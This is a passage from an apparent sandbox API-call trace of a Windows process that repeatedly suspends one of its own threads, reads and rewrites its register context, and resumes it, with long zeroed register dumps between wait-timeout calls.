(Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0267.869] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0267.869] SuspendThread (hThread=0xf4) returned 0x0 [0267.870] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031960, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xeaae40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0268.173] SetThreadContext (hThread=0xf4, lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031958, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xea4720, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0268.432] ResumeThread (hThread=0xf4) returned 0x1 [0268.432] CloseHandle (hObject=0xf4) returned 1 [0268.432] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0268.559] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0268.830] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0269.004] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0269.870] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0269.870] SuspendThread (hThread=0xf4) returned 0x0 [0269.871] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10203, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031b80, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe46a80, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0270.185] ResumeThread (hThread=0xf4) returned 0x1 [0270.185] CloseHandle (hObject=0xf4) returned 1 [0270.185] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0270.489] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0270.621] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0270.900] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0271.188] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0271.188] SuspendThread (hThread=0xf4) returned 0x0 [0271.188] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10212, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031ab8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xed3120, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0271.327] SetThreadContext (hThread=0xf4, lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10212, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000031ab0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xea4720, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, 